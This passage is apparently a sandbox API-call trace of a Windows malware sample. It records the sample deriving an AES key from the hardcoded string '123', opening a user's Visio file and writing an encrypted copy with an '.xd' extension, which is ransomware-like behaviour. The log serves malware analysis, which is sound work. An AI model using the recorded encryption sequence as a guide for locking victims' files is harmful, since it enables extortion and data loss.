HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.449] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0072.449] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0072.449] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0072.449] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0072.449] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0072.449] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.450] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.450] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.450] CloseHandle (hObject=0x0) returned 0 [0072.450] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.450] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0072.450] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0072.450] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.451] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.451] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.451] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.452] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.452] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.452] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0072.452] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.452] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.452] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0072.452] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.452] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.452] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.452] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.452] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.452] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0072.452] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0072.453] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0072.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0072.453] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0072.453] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f00) returned 1 [0072.454] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.454] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.454] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0072.454] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.454] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.454] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.454] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.454] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.454] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.454] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.455] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.455] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.455] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.455] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.455] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.455] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0072.455] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.455] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.455] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.455] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.455] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.455] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.455] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.455] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.455] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.456] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.456] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.456] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.456] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.456] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.456] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.456] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.456] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0072.456] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0072.456] CryptCreateHash (in: hProv=0x17a9f00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0072.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.457] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.457] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.457] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629410, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.457] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0072.457] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.457] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.457] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.457] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.457] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0072.458] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0072.458] CryptHashData (hHash=0x164c530, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0072.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.458] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.458] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.458] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.458] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.458] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0072.458] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0072.458] CryptDeriveKey (in: hProv=0x17a9f00, Algid=0x6610, hBaseData=0x164c530, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c3f0) returned 1 [0072.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.459] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.459] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0072.459] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0072.459] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0072.459] CryptDestroyHash (hHash=0x164c530) returned 1 [0072.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.459] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.459] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.459] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.459] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.460] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\favorites.vssx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0072.460] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.460] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0072.460] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.460] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.460] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.460] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes")) returned 0x14 [0072.461] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\favorites.vssx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0072.462] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.462] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.462] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.462] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.464] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0072.464] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0072.467] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.467] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.467] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.467] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0072.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.467] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0072.467] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.467] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0072.467] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.467] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.467] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.467] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0072.467] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 